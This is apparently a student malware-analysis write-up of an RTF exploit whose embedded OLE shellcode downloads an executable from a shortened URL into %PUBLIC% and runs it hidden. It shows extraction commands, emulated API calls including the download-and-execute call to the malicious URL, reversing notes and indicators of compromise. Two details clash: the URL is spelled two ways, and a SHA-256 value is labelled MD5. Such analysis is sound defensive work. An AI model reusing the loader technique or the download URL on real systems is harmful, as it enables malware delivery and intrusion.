RTF Exploit
The suspicious sample under analysis is an RTF document designed to embed and execute malicious OLE objects. As with any document-based malware, the first step is to calculate its hashes and collect metadata for identification.
Field | Value |
---|---|
File Type | RTF Document |
MD5 | 2fd300bd01ea3d00ea59d4e1d47056a0 |
SHA-1 | d8747407679055deee5bafaac281bdac52274da2 |
SHA-256 | 2b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762 |
File Size | 1.02 MB (1065166 bytes) |
Once submitted to VirusTotal, the sample showed a high detection ratio, flagged by multiple antivirus engines as containing an embedded OLE exploit.
Static inspection confirmed that the RTF contained at least one suspicious OLE object. This hinted that the exploit would likely rely on embedded shellcode delivered via OLE streams.
Extracting the OLE Object
We used rtfobj.py to scan the malicious RTF document and extract any embedded OLE streams:
C:\Users\vboxuser\Desktop>python "C:\Users\vboxuser\Desktop\Tools\Documents
oletools-0.60.2\oletools\rtfobj.py"
"C:\Users\vboxuser\Desktop\Master\Tarea3
2b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762.rtf"
-s 0 -d C:\Users\vboxuser\Desktop\Master\Tarea3
The output revealed a malformed OLE object at offset 0x000FC3E7
, which was dumped as:
1
...rtf_object_000FC3E7.raw (md5: 2fe51e42ac2a4a52d1855e21620e9c6f)
One check to VirusTotal, the sample showed a high detection ratio, flagged by multiple antivirus engines as containing an exploit for a 2017 CVE.
The details are the following:
| Field | Value | | ————- | —————————————————————- | | File Type | Data | | MD5 | 2fe51e42ac2a4a52d1855e21620e9c6f | | SHA-1 | af8eda0e5881952b5828d143de1bd45ced8f8717 | | SHA-256 | 280a7cce75f5ee71a2ff025efdc059a7d85a4de13292aa342f71e186876a93fb | | File Size | 1.34 KB (1372 bytes) |
Shellcode Analysis with scdbg
The extracted OLE object contained embedded shellcode. To better understand its behavior, we emulated the payload using scdbg.
Execution began at offset 0x7C
(VA 0x40107C
) with the following instructions:
1
2
3
4
5
40107C 42 inc edx
40107D 19F9 sbb ecx,edi
40107F 0BE1 or esp,ecx
401081 F8 clc
401082 793B jns 0x4010BF
This sequence rearranges registers in preparation for deobfuscation.
During execution, the shellcode dynamically resolved several Windows APIs, a common tactic to avoid static detection. The following calls were observed:
GetProcAddress(ExpandEnvironmentStringsW)
ExpandEnvironmentStringsW(%PUBLIC%\908.exe, dst=12fbd0, sz=104)
LoadLibraryW("UrlMon")
GetProcAddress(URLDownloadToFileW)
URLDownloadToFileW("http://bit.ly/34vzFlU", "C:\Users\Public\908.exe")
LoadLibraryW("oleaut32")
andGetProcAddress(SysAllocString)
This confirms the shellcode’s functionality: it constructs a destination path in %PUBLIC%
, downloads a remote executable from a shortened URL, and prepares it for execution.
Reversing the Shellcode
To deepen the analysis, we manually reversed the shellcode to better understand its structure and techniques. As expected, the code follows the typical pattern of most download-and-execute shellcodes, but with some tricks to hinder analysis: it is position-independent and padded with junk instructions.
When loaded into IDA, some sections were misinterpreted as code or data. To fix this, we had to manually redefine certain areas, step through execution instruction by instruction, and set breakpoints until the flow became clear.
The shellcode can be divided into three main sections:
Garbage padding (
0x0000–0x007B
and0x010E–0x02BB
)
Random bytes,int 3
,hlt
, and assorteddb
/dw
instructions that IDA failed to properly disassemble. These do not execute if the EIP lands correctly.Executable junk & jump (
0x007C–0x0108
)
Useless obfuscation loops and a finaljmp 0x02BC
redirecting execution to the real payload.Payload (
0x02BC–0x0558
)
The real malicious logic: stack setup, manual API resolution, downloading an executable, and launching it in the background.
Once the flow was reconstructed, we saw the shellcode walking the PEB (fs:[30h]
) to locate kernel32.dll
. From there, it invoked a custom implementation of GetProcAddress
to resolve its APIs:
1
2
3
4
5
LoadLibraryW
ExpandEnvironmentStringsW
UrlDownloadToFileW
WinExec
ExitProcess
The function responsible for string comparisons (sub_498
) performed case-insensitive matching in wide-char, converting characters on the fly with a simple xor ax, 0x20
whenever the character was between 'A'
and 'Z'
. This allowed the shellcode to reliably resolve function names without depending on exact casing.
Once the API resolution was complete, execution moved into the download phase. First, the destination path was constructed using ExpandEnvironmentStringsW
as %PUBLIC%\908.exe
. Next, the URL (hxxp://bit.ly/34vzFU
) was pushed onto the stack in fragmented form, hidden across multiple push
instructions. Finally, the shellcode invoked UrlDownloadToFileW(NULL, url, destino, 0, NULL)
to retrieve the binary, proceeding only if the call returned S_OK
.
If the download succeeded, the execution phase began: the binary was launched silently with WinExec(destino, SW_HIDE)
, and the shellcode immediately terminated the current process with ExitProcess(0)
.
Overall, more than half of the shellcode turned out to be padding and obfuscation, while the actual functionality resided in a compact position-independent loader. Its role was simple but effective: dynamically resolve APIs, construct the target path, download a remote executable, and execute it quietly before exiting. By setting the instruction pointer directly to 0x02BC
, analysts can skip all the junk code and observe the core payload in action. The main difficulty during reversing was correcting IDA’s misinterpretations caused by the interleaving of junk instructions and data, which required manual adjustments to accurately follow the control flow.
Indicators of Compromise (IOCs)
The following IOCs were extracted from the RTF malware sample:
Type | Value |
---|---|
MD5 (RTF) | 2b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762 |
OLE Object MD5 | 2fe51e42ac2a4a52d1855e21620e9c6f |
Dropped File | %PUBLIC%\908.exe |
Malicious URL | hxxp://bit.ly/34vzFU |